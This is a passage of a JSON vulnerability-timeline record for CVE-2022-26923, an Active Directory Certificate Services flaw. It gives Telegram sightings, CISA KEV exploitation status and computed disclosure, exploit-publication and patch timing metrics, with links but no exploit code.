\n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/55866", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-10T09:00:07.138Z", "date_only": false, "value": "2026-09-10T09:00:07.138703Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/5810", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "231f9e36-d981-4e3c-b78d-7a1f127d829e", "content": "Blue Team Techniques\nEvicting the Adversary:\nGuidance to kick out an active attacker in your environment\nhttps://www.huntress.com/blog/evicting-the-adversary\n\nThreat Research\n1. BPFDoor - An Evasive Linux Backdoor Technical Analysis\nhttps://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis\n2. Active Directory Domain Privilege Escalation (CVE-2022-26923)\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/cissp/5810", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-14T03:00:08.862Z", "date_only": false, "value": "2026-09-14T03:00:08.862142Z", "kind": "sighting", "label": "Seen", "source": "Telegram/-crZ7c2mXyDAnAi6cUoO6ZGLIobDD_pIiFk-5o6QD17WEzY", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "33cb7f2a-2817-4e90-8793-e31f328e0813"}, {"timestamp": "2026-09-15T00:00:25.208Z", "date_only": false, "value": "2026-09-15T00:00:25.208075Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-crZ7c2mXyDAnAi6cUoO6ZGLIobDD_pIiFk-5o6QD17WEzY", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "ab0f88d5-e258-4440-94df-79c7c4d59f8c", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-28T19:00:12Z", "date_only": false, "value": "2026-10-28T19:00:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/qGZeKYDXQ4USDr6kOgfBWPZEisfX1qEQNHmufVCfOc6OpuE", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "7c2a4c1e-db5e-4c58-a658-269d1a44f4c4", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-28T19:00:12Z", "date_only": false, "value": "2026-10-28T19:00:12.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/qGZeKYDXQ4USDr6kOgfBWPZEisfX1qEQNHmufVCfOc6OpuE", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "e1d625d5-64ba-4446-8e1c-b3832017d5b3"}, {"timestamp": "2026-11-04T13:31:51Z", "date_only": false, "value": "2026-11-04T13:31:51+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-15T21:51:16.144Z", "anchors": {"origin": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2022-05-12T02:37:16Z", "date_only": false, "value": "2022-05-12T02:37:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2166", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f4c76028-6a58-4b76-80ac-eb3303ccf36b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWalkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services\nURL\uff1ahttps://github.com/r1skkam/TryHackMe-CVE-2022-26923\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2166", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 8614800.0, "hours": 2393.0, "days": 99.70833333333333, "min_seconds": 8614800.0, "max_seconds": 8701200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 8614800.0, "hours": 2393.0, "days": 99.70833333333333, "min_seconds": 8614800.0, "max_seconds": 8701200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 157036.0, "hours": 43.62111111111111, "days": 1.8175462962962963, "min_seconds": 157036.0, "max_seconds": 157036.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-05-12T02:37:16Z", "date_only": false, "value": "2022-05-12T02:37:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2166", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f4c76028-6a58-4b76-80ac-eb3303ccf36b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWalkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services\nURL\uff1ahttps://github.com/r1skkam/TryHackMe-CVE-2022-26923\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2166", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start"]}, "total_time_to_patch": {"available": false, "missing": ["start"]}, "disclosure_to_patch": {"available": true, "seconds": 0.0, "hours": 0.0, "days": 0.0, "min_seconds": 0.0, "max_seconds": 0.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "time_unpatched": {"available": true, "seconds": 0.0, "hours": 0.0, "days": 0.0, "min_seconds": 0.0, "max_seconds": 0.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "exploitation_to_patch": {"available": true, "seconds": -8614800.0, "hours": -2393.0, "days": -99.70833333333333, "min_seconds": -8701200.0, "max_seconds": -8614800.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "exploit_publication_to_patch": {"available": true, "seconds": -157036.0, "hours": -43.62111111111111, "days": -1.8175462962962963, "min_seconds": -157036.0, "max_seconds": -157036.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2022-05-12T02:37:16Z", "date_only": false, "value": "2022-05-12T02:37:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2166", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f4c76028-6a58-4b76-80ac-eb3303ccf36b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWalkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services\nURL\uff1ahttps://github.com/r1skkam/TryHackMe-CVE-2022-26923\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2166", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}}}